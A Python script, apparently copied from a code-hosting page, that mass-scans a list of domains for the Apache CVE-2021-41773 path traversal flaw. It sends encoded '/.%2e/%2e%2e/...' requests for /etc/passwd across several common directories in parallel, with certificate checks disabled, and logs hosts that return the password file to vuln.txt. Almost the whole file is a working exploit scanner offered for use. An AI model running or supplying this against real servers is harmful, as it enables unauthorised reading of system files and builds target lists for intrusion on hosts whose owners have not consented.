/
cve-2021-41773.py
63 lines (51 loc) · 1.42 KB
/
cve-2021-41773.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Mass check Apache CVE-2021-41773
# Just4Fun
# Coded by Justakazh
import sys
import requests
from multiprocessing.dummy import Pool
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("""
APACHE
_____ _ _ _____
/ __ \ | | | ___|
| / \/ | | | |__
| | | | | | __|
| \__/\ \_/ / |___
\____/\___/\____/ -2021-41773
Coded By: Justakazh
FB: fb.com/justakazh
""")
def jan_Cok(target):
try:
s = requests.Session()
req = requests.Request(method='GET' , url=target)
prep = req.prepare()
prep.url = target
r = s.send(prep, verify=False)
# detect by root on /etc/passwd
if "root:x:" in r.text:
print("[*] Vuln -> "+target)
# save result
open("vuln.txt", "a").write(target+"\n")
else:
print("[!] Not_Vuln -> "+target)
except:
pass
try:
data = []
liss = [i.strip() for i in open(sys.argv[1], "r").readlines()]
for i in liss:
domain = i.replace("http://", "").replace("https://", "").replace("/", "")
# You can add a new common directory here
common_dir = ['/cgi-bin', '/assets', '/icons', '/uploads', '/img', '/image']
# add a common list
for cd in common_dir:
url = "http://"+domain+cd+"/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
data.append(url)
x = Pool(int(sys.argv[2]))
x.map(jan_Cok, data)
except Exception as e:
print(e)
print("Usage : cve-2021-41773.py file_list Pool")